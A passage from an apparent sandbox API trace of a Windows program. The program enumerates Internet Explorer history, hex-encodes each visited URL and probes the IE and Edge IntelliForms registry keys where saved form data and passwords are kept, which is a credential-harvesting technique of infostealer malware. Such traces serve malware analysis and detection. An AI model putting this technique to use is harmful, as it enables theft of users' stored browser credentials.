(uFlags=0x40, uBytes=0xa7) returned 0x754cf0 [0053.572] lstrcpyA (in: lpString1=0x754cf0, lpString2="7B3655E8156B1E50FFC30ACC4DDD8C74CD20" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD20") returned="7B3655E8156B1E50FFC30ACC4DDD8C74CD20" [0053.572] lstrcatA (in: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD20", lpString2="19" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD2019") returned="7B3655E8156B1E50FFC30ACC4DDD8C74CD2019" [0053.572] LocalFree (hMem=0x754b90) returned 0x0 [0053.572] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="62") returned 2 [0053.572] lstrlenA (lpString="7B3655E8156B1E50FFC30ACC4DDD8C74CD2019") returned 38 [0053.572] lstrlenA (lpString="62") returned 2 [0053.572] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.572] lstrcpyA (in: lpString1=0x750a48, lpString2="7B3655E8156B1E50FFC30ACC4DDD8C74CD2019" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD2019") returned="7B3655E8156B1E50FFC30ACC4DDD8C74CD2019" [0053.572] lstrcatA (in: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD2019", lpString2="62" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD201962") returned="7B3655E8156B1E50FFC30ACC4DDD8C74CD201962" [0053.572] LocalFree (hMem=0x754cf0) returned 0x0 [0053.572] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="06") returned 2 [0053.572] lstrlenA (lpString="7B3655E8156B1E50FFC30ACC4DDD8C74CD201962") returned 40 [0053.572] lstrlenA (lpString="06") returned 2 [0053.572] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.572] lstrcpyA (in: lpString1=0x750bb8, lpString2="7B3655E8156B1E50FFC30ACC4DDD8C74CD201962" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD201962") returned="7B3655E8156B1E50FFC30ACC4DDD8C74CD201962" [0053.572] lstrcatA (in: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD201962", lpString2="06" | out: lpString1="7B3655E8156B1E50FFC30ACC4DDD8C74CD20196206") returned="7B3655E8156B1E50FFC30ACC4DDD8C74CD20196206" [0053.572] LocalFree (hMem=0x750a48) returned 0x0 [0053.572] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.572] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.572] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.572] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.572] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.573] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.573] LocalFree (hMem=0x750bb8) returned 0x0 [0053.573] CoTaskMemFree (pv=0x760360) [0053.573] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.573] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/nTO4wl6C%20ueKdoF6.swf", lpSrch="?") returned 0x0 [0053.573] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/DElSEoyIexQDc/nTO4wl6C%20ueKdoF6.swf") returned 95 [0053.573] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EF") returned 2 [0053.573] lstrlenA (lpString="") returned 0 [0053.573] lstrlenA (lpString="EF") returned 2 [0053.573] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760360 [0053.573] lstrcpyA (in: lpString1=0x760360, lpString2="" | out: lpString1="") returned="" [0053.573] lstrcatA (in: lpString1="", lpString2="EF" | out: lpString1="EF") returned="EF" [0053.573] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="95") returned 2 [0053.573] lstrlenA (lpString="EF") returned 2 [0053.573] lstrlenA (lpString="95") returned 2 [0053.573] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7603f0 [0053.573] lstrcpyA (in: lpString1=0x7603f0, lpString2="EF" | out: lpString1="EF") returned="EF" [0053.573] lstrcatA (in: lpString1="EF", lpString2="95" | out: lpString1="EF95") returned="EF95" [0053.573] LocalFree (hMem=0x760360) returned 0x0 [0053.573] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EA") returned 2 [0053.573] lstrlenA (lpString="EF95") returned 4 [0053.573] lstrlenA (lpString="EA") returned 2 [0053.573] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760360 [0053.573] lstrcpyA (in: lpString1=0x760360, lpString2="EF95" | out: lpString1="EF95") returned="EF95" [0053.573] lstrcatA (in: lpString1="EF95", lpString2="EA" | out: lpString1="EF95EA") returned="EF95EA" [0053.573] LocalFree (hMem=0x7603f0) returned 0x0 [0053.573] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="28") returned 2 [0053.573] lstrlenA (lpString="EF95EA") returned 6 [0053.573] lstrlenA (lpString="28") returned 2 [0053.573] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.573] lstrcpyA (in: lpString1=0x7633b8, lpString2="EF95EA" | out: lpString1="EF95EA") returned="EF95EA" [0053.573] lstrcatA (in: lpString1="EF95EA", lpString2="28" | out: lpString1="EF95EA28") returned="EF95EA28" [0053.573] LocalFree (hMem=0x760360) returned 0x0 [0053.573] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="74") returned 2 [0053.573] lstrlenA (lpString="EF95EA28") returned 8 [0053.573] lstrlenA (lpString="74") returned 2 [0053.573] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x767460 [0053.573] lstrcpyA (in: lpString1=0x767460, lpString2="EF95EA28" | out: lpString1="EF95EA28") returned="EF95EA28" [0053.573] lstrcatA (in: lpString1="EF95EA28", lpString2="74" | out: lpString1="EF95EA2874") returned="EF95EA2874" [0053.573] LocalFree (hMem=0x7633b8) returned 0x0 [0053.573] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="09") returned 2 [0053.573] lstrlenA (lpString="EF95EA2874") returned 10 [0053.573] lstrlenA (lpString="09") returned 2 [0053.573] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.573] lstrcpyA (in: lpString1=0x7633b8, lpString2="EF95EA2874" | out: lpString1="EF95EA2874") returned="EF95EA2874" [0053.573] lstrcatA (in: lpString1="EF95EA2874", lpString2="09" | out: lpString1="EF95EA287409") returned="EF95EA287409" [0053.574] LocalFree (hMem=0x767460) returned 0x0 [0053.574] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2A") returned 2 [0053.574] lstrlenA (lpString="EF95EA287409") returned 12 [0053.574] lstrlenA (lpString="2A") returned 2 [0053.574] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x767460 [0053.574] lstrcpyA (in: lpString1=0x767460, lpString2="EF95EA287409" | out: lpString1="EF95EA287409") returned="EF95EA287409" [0053.574] lstrcatA (in: lpString1="EF95EA287409", lpString2="2A" | out: lpString1="EF95EA2874092A") returned="EF95EA2874092A" [0053.574] LocalFree (hMem=0x7633b8) returned 0x0 [0053.574] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="97") returned 2 [0053.574] lstrlenA (lpString="EF95EA2874092A") returned 14 [0053.574] lstrlenA (lpString="97") returned 2 [0053.574] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763478 [0053.574] lstrcpyA (in: lpString1=0x763478, lpString2="EF95EA2874092A" | out: lpString1="EF95EA2874092A") returned="EF95EA2874092A" [0053.574] lstrcatA (in: lpString1="EF95EA2874092A", lpString2="97" | out: lpString1="EF95EA2874092A97") returned="EF95EA2874092A97" [0053.574] LocalFree (hMem=0x767460) returned 0x0 [0053.574] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D7") returned 2 [0053.574] lstrlenA (lpString="EF95EA2874092A97") returned 16 [0053.574] lstrlenA (lpString="D7") returned 2 [0053.574] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763518 [0053.574] lstrcpyA (in: lpString1=0x763518, lpString2="EF95EA2874092A97" | out: lpString1="EF95EA2874092A97") returned="EF95EA2874092A97" [0053.574] lstrcatA (in: lpString1="EF95EA2874092A97", lpString2="D7" | out: lpString1="EF95EA2874092A97D7") returned="EF95EA2874092A97D7" [0053.574] LocalFree (hMem=0x763478) returned 0x0 [0053.574] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F3") returned 2 [0053.574] lstrlenA (lpString="EF95EA2874092A97D7") returned 18 [0053.574] lstrlenA (lpString="F3") returned 2 [0053.574] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763478 [0053.574] lstrcpyA (in: lpString1=0x763478, lpString2="EF95EA2874092A97D7" | out: lpString1="EF95EA2874092A97D7") returned="EF95EA2874092A97D7" [0053.574] lstrcatA (in: lpString1="EF95EA2874092A97D7", lpString2="F3" | out: lpString1="EF95EA2874092A97D7F3") returned="EF95EA2874092A97D7F3" [0053.574] LocalFree (hMem=0x763518) returned 0x0 [0053.574] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="0D") returned 2 [0053.574] lstrlenA (lpString="EF95EA2874092A97D7F3") returned 20 [0053.574] lstrlenA (lpString="0D") returned 2 [0053.574] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763518 [0053.574] lstrcpyA (in: lpString1=0x763518, lpString2="EF95EA2874092A97D7F3" | out: lpString1="EF95EA2874092A97D7F3") returned="EF95EA2874092A97D7F3" [0053.574] lstrcatA (in: lpString1="EF95EA2874092A97D7F3", lpString2="0D" | out: lpString1="EF95EA2874092A97D7F30D") returned="EF95EA2874092A97D7F30D" [0053.574] LocalFree (hMem=0x763478) returned 0x0 [0053.574] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="00") returned 2 [0053.574] lstrlenA (lpString="EF95EA2874092A97D7F30D") returned 22 [0053.574] lstrlenA (lpString="00") returned 2 [0053.574] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758820 [0053.574] lstrcpyA (in: lpString1=0x758820, lpString2="EF95EA2874092A97D7F30D" | out: lpString1="EF95EA2874092A97D7F30D") returned="EF95EA2874092A97D7F30D" [0053.574] lstrcatA (in: lpString1="EF95EA2874092A97D7F30D", lpString2="00" | out: lpString1="EF95EA2874092A97D7F30D00") returned="EF95EA2874092A97D7F30D00" [0053.574] LocalFree (hMem=0x763518) returned 0x0 [0053.574] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B1") returned 2 [0053.574] lstrlenA (lpString="EF95EA2874092A97D7F30D00") returned 24 [0053.574] lstrlenA (lpString="B1") returned 2 [0053.574] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758a18 [0053.574] lstrcpyA (in: lpString1=0x758a18, lpString2="EF95EA2874092A97D7F30D00" | out: lpString1="EF95EA2874092A97D7F30D00") returned="EF95EA2874092A97D7F30D00" [0053.574] lstrcatA (in: lpString1="EF95EA2874092A97D7F30D00", lpString2="B1" | out: lpString1="EF95EA2874092A97D7F30D00B1") returned="EF95EA2874092A97D7F30D00B1" [0053.574] LocalFree (hMem=0x758820) returned 0x0 [0053.574] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="52") returned 2 [0053.574] lstrlenA (lpString="EF95EA2874092A97D7F30D00B1") returned 26 [0053.574] lstrlenA (lpString="52") returned 2 [0053.574] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758820 [0053.574] lstrcpyA (in: lpString1=0x758820, lpString2="EF95EA2874092A97D7F30D00B1" | out: lpString1="EF95EA2874092A97D7F30D00B1") returned="EF95EA2874092A97D7F30D00B1" [0053.574] lstrcatA (in: lpString1="EF95EA2874092A97D7F30D00B1", lpString2="52" | out: lpString1="EF95EA2874092A97D7F30D00B152") returned="EF95EA2874092A97D7F30D00B152" [0053.574] LocalFree (hMem=0x758a18) returned 0x0 [0053.574] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F7") returned 2 [0053.574] lstrlenA (lpString="EF95EA2874092A97D7F30D00B152") returned 28 [0053.574] lstrlenA (lpString="F7") returned 2 [0053.575] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.575] lstrcpyA (in: lpString1=0x758a18, lpString2="EF95EA2874092A97D7F30D00B152" | out: lpString1="EF95EA2874092A97D7F30D00B152") returned="EF95EA2874092A97D7F30D00B152" [0053.575] lstrcatA (in: lpString1="EF95EA2874092A97D7F30D00B152", lpString2="F7" | out: lpString1="EF95EA2874092A97D7F30D00B152F7") returned="EF95EA2874092A97D7F30D00B152F7" [0053.575] LocalFree (hMem=0x758820) returned 0x0 [0053.575] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="13") returned 2 [0053.575] lstrlenA (lpString="EF95EA2874092A97D7F30D00B152F7") returned 30 [0053.575] lstrlenA (lpString="13") returned 2 [0053.575] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754cf0 [0053.575] lstrcpyA (in: lpString1=0x754cf0, lpString2="EF95EA2874092A97D7F30D00B152F7" | out: lpString1="EF95EA2874092A97D7F30D00B152F7") returned="EF95EA2874092A97D7F30D00B152F7" [0053.575] lstrcatA (in: lpString1="EF95EA2874092A97D7F30D00B152F7", lpString2="13" | out: lpString1="EF95EA2874092A97D7F30D00B152F713") returned="EF95EA2874092A97D7F30D00B152F713" [0053.575] LocalFree (hMem=0x758a18) returned 0x0 [0053.575] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="25") returned 2 [0053.575] lstrlenA (lpString="EF95EA2874092A97D7F30D00B152F713") returned 32 [0053.575] lstrlenA (lpString="25") returned 2 [0053.575] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754b90 [0053.575] lstrcpyA (in: lpString1=0x754b90, lpString2="EF95EA2874092A97D7F30D00B152F713" | out: lpString1="EF95EA2874092A97D7F30D00B152F713") returned="EF95EA2874092A97D7F30D00B152F713" [0053.575] lstrcatA (in: lpString1="EF95EA2874092A97D7F30D00B152F713", lpString2="25" | out: lpString1="EF95EA2874092A97D7F30D00B152F71325") returned="EF95EA2874092A97D7F30D00B152F71325" [0053.575] LocalFree (hMem=0x754cf0) returned 0x0 [0053.575] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3A") returned 2 [0053.575] lstrlenA (lpString="EF95EA2874092A97D7F30D00B152F71325") returned 34 [0053.575] lstrlenA (lpString="3A") returned 2 [0053.575] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754cf0 [0053.575] lstrcpyA (in: lpString1=0x754cf0, lpString2="EF95EA2874092A97D7F30D00B152F71325" | out: lpString1="EF95EA2874092A97D7F30D00B152F71325") returned="EF95EA2874092A97D7F30D00B152F71325" [0053.575] lstrcatA (in: lpString1="EF95EA2874092A97D7F30D00B152F71325", lpString2="3A" | out: lpString1="EF95EA2874092A97D7F30D00B152F713253A") returned="EF95EA2874092A97D7F30D00B152F713253A" [0053.575] LocalFree (hMem=0x754b90) returned 0x0 [0053.575] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="02") returned 2 [0053.575] lstrlenA (lpString="EF95EA2874092A97D7F30D00B152F713253A") returned 36 [0053.575] lstrlenA (lpString="02") returned 2 [0053.575] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754b90 [0053.575] lstrcpyA (in: lpString1=0x754b90, lpString2="EF95EA2874092A97D7F30D00B152F713253A" | out: lpString1="EF95EA2874092A97D7F30D00B152F713253A") returned="EF95EA2874092A97D7F30D00B152F713253A" [0053.575] lstrcatA (in: lpString1="EF95EA2874092A97D7F30D00B152F713253A", lpString2="02" | out: lpString1="EF95EA2874092A97D7F30D00B152F713253A02") returned="EF95EA2874092A97D7F30D00B152F713253A02" [0053.575] LocalFree (hMem=0x754cf0) returned 0x0 [0053.575] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="65") returned 2 [0053.575] lstrlenA (lpString="EF95EA2874092A97D7F30D00B152F713253A02") returned 38 [0053.575] lstrlenA (lpString="65") returned 2 [0053.575] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.575] lstrcpyA (in: lpString1=0x750bb8, lpString2="EF95EA2874092A97D7F30D00B152F713253A02" | out: lpString1="EF95EA2874092A97D7F30D00B152F713253A02") returned="EF95EA2874092A97D7F30D00B152F713253A02" [0053.575] lstrcatA (in: lpString1="EF95EA2874092A97D7F30D00B152F713253A02", lpString2="65" | out: lpString1="EF95EA2874092A97D7F30D00B152F713253A0265") returned="EF95EA2874092A97D7F30D00B152F713253A0265" [0053.575] LocalFree (hMem=0x754b90) returned 0x0 [0053.575] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7E") returned 2 [0053.575] lstrlenA (lpString="EF95EA2874092A97D7F30D00B152F713253A0265") returned 40 [0053.575] lstrlenA (lpString="7E") returned 2 [0053.575] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750a48 [0053.575] lstrcpyA (in: lpString1=0x750a48, lpString2="EF95EA2874092A97D7F30D00B152F713253A0265" | out: lpString1="EF95EA2874092A97D7F30D00B152F713253A0265") returned="EF95EA2874092A97D7F30D00B152F713253A0265" [0053.575] lstrcatA (in: lpString1="EF95EA2874092A97D7F30D00B152F713253A0265", lpString2="7E" | out: lpString1="EF95EA2874092A97D7F30D00B152F713253A02657E") returned="EF95EA2874092A97D7F30D00B152F713253A02657E" [0053.575] LocalFree (hMem=0x750bb8) returned 0x0 [0053.575] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.575] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.575] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.575] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.576] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.576] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.576] LocalFree (hMem=0x750a48) returned 0x0 [0053.576] CoTaskMemFree (pv=0x74ab20) [0053.576] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.576] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7YTw8u-vZmO896.flv", lpSrch="?") returned 0x0 [0053.576] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Desktop/7YTw8u-vZmO896.flv") returned 60 [0053.576] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F5") returned 2 [0053.576] lstrlenA (lpString="") returned 0 [0053.576] lstrlenA (lpString="F5") returned 2 [0053.576] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x760360 [0053.576] lstrcpyA (in: lpString1=0x760360, lpString2="" | out: lpString1="") returned="" [0053.576] lstrcatA (in: lpString1="", lpString2="F5" | out: lpString1="F5") returned="F5" [0053.576] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="7F") returned 2 [0053.576] lstrlenA (lpString="F5") returned 2 [0053.576] lstrlenA (lpString="7F") returned 2 [0053.576] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x7603f0 [0053.576] lstrcpyA (in: lpString1=0x7603f0, lpString2="F5" | out: lpString1="F5") returned="F5" [0053.576] lstrcatA (in: lpString1="F5", lpString2="7F" | out: lpString1="F57F") returned="F57F" [0053.576] LocalFree (hMem=0x760360) returned 0x0 [0053.576] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AA") returned 2 [0053.576] lstrlenA (lpString="F57F") returned 4 [0053.576] lstrlenA (lpString="AA") returned 2 [0053.576] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x760360 [0053.576] lstrcpyA (in: lpString1=0x760360, lpString2="F57F" | out: lpString1="F57F") returned="F57F" [0053.576] lstrcatA (in: lpString1="F57F", lpString2="AA" | out: lpString1="F57FAA") returned="F57FAA" [0053.576] LocalFree (hMem=0x7603f0) returned 0x0 [0053.576] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="57") returned 2 [0053.576] lstrlenA (lpString="F57FAA") returned 6 [0053.576] lstrlenA (lpString="57") returned 2 [0053.576] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x7633b8 [0053.576] lstrcpyA (in: lpString1=0x7633b8, lpString2="F57FAA" | out: lpString1="F57FAA") returned="F57FAA" [0053.576] lstrcatA (in: lpString1="F57FAA", lpString2="57" | out: lpString1="F57FAA57") returned="F57FAA57" [0053.576] LocalFree (hMem=0x760360) returned 0x0 [0053.576] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="19") returned 2 [0053.576] lstrlenA (lpString="F57FAA57") returned 8 [0053.576] lstrlenA (lpString="19") returned 2 [0053.576] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x767c60 [0053.576] lstrcpyA (in: lpString1=0x767c60, lpString2="F57FAA57" | out: lpString1="F57FAA57") returned="F57FAA57" [0053.576] lstrcatA (in: lpString1="F57FAA57", lpString2="19" | out: lpString1="F57FAA5719") returned="F57FAA5719" [0053.576] LocalFree (hMem=0x7633b8) returned 0x0 [0053.576] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="41") returned 2 [0053.576] lstrlenA (lpString="F57FAA5719") returned 10 [0053.577] lstrlenA (lpString="41") returned 2 [0053.577] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x7633b8 [0053.577] lstrcpyA (in: lpString1=0x7633b8, lpString2="F57FAA5719" | out: lpString1="F57FAA5719") returned="F57FAA5719" [0053.577] lstrcatA (in: lpString1="F57FAA5719", lpString2="41" | out: lpString1="F57FAA571941") returned="F57FAA571941" [0053.577] LocalFree (hMem=0x767c60) returned 0x0 [0053.577] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D2") returned 2 [0053.577] lstrlenA (lpString="F57FAA571941") returned 12 [0053.577] lstrlenA (lpString="D2") returned 2 [0053.577] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x767c60 [0053.577] lstrcpyA (in: lpString1=0x767c60, lpString2="F57FAA571941" | out: lpString1="F57FAA571941") returned="F57FAA571941" [0053.577] lstrcatA (in: lpString1="F57FAA571941", lpString2="D2" | out: lpString1="F57FAA571941D2") returned="F57FAA571941D2" [0053.577] LocalFree (hMem=0x7633b8) returned 0x0 [0053.577] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D3") returned 2 [0053.577] lstrlenA (lpString="F57FAA571941D2") returned 14 [0053.577] lstrlenA (lpString="D3") returned 2 [0053.577] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x763518 [0053.577] lstrcpyA (in: lpString1=0x763518, lpString2="F57FAA571941D2" | out: lpString1="F57FAA571941D2") returned="F57FAA571941D2" [0053.577] lstrcatA (in: lpString1="F57FAA571941D2", lpString2="D3" | out: lpString1="F57FAA571941D2D3") returned="F57FAA571941D2D3" [0053.577] LocalFree (hMem=0x767c60) returned 0x0 [0053.577] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D0") returned 2 [0053.577] lstrlenA (lpString="F57FAA571941D2D3") returned 16 [0053.577] lstrlenA (lpString="D0") returned 2 [0053.577] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x763478 [0053.577] lstrcpyA (in: lpString1=0x763478, lpString2="F57FAA571941D2D3" | out: lpString1="F57FAA571941D2D3") returned="F57FAA571941D2D3" [0053.577] lstrcatA (in: lpString1="F57FAA571941D2D3", lpString2="D0" | out: lpString1="F57FAA571941D2D3D0") returned="F57FAA571941D2D3D0" [0053.577] LocalFree (hMem=0x763518) returned 0x0 [0053.577] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B6") returned 2 [0053.577] lstrlenA (lpString="F57FAA571941D2D3D0") returned 18 [0053.577] lstrlenA (lpString="B6") returned 2 [0053.577] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x763518 [0053.577] lstrcpyA (in: lpString1=0x763518, lpString2="F57FAA571941D2D3D0" | out: lpString1="F57FAA571941D2D3D0") returned="F57FAA571941D2D3D0" [0053.577] lstrcatA (in: lpString1="F57FAA571941D2D3D0", lpString2="B6" | out: lpString1="F57FAA571941D2D3D0B6") returned="F57FAA571941D2D3D0B6" [0053.577] LocalFree (hMem=0x763478) returned 0x0 [0053.577] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="79") returned 2 [0053.577] lstrlenA (lpString="F57FAA571941D2D3D0B6") returned 20 [0053.577] lstrlenA (lpString="79") returned 2 [0053.577] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x763478 [0053.577] lstrcpyA (in: lpString1=0x763478, lpString2="F57FAA571941D2D3D0B6" | out: lpString1="F57FAA571941D2D3D0B6") returned="F57FAA571941D2D3D0B6" [0053.577] lstrcatA (in: lpString1="F57FAA571941D2D3D0B6", lpString2="79" | out: lpString1="F57FAA571941D2D3D0B679") returned="F57FAA571941D2D3D0B679" [0053.577] LocalFree (hMem=0x763518) returned 0x0 [0053.577] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FD") returned 2 [0053.577] lstrlenA (lpString="F57FAA571941D2D3D0B679") returned 22 [0053.577] lstrlenA (lpString="FD") returned 2 [0053.577] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.577] lstrcpyA (in: lpString1=0x758a18, lpString2="F57FAA571941D2D3D0B679" | out: lpString1="F57FAA571941D2D3D0B679") returned="F57FAA571941D2D3D0B679" [0053.577] lstrcatA (in: lpString1="F57FAA571941D2D3D0B679", lpString2="FD" | out: lpString1="F57FAA571941D2D3D0B679FD") returned="F57FAA571941D2D3D0B679FD" [0053.577] LocalFree (hMem=0x763478) returned 0x0 [0053.577] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="42") returned 2 [0053.577] lstrlenA (lpString="F57FAA571941D2D3D0B679FD") returned 24 [0053.577] lstrlenA (lpString="42") returned 2 [0053.577] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.577] lstrcpyA (in: lpString1=0x758820, 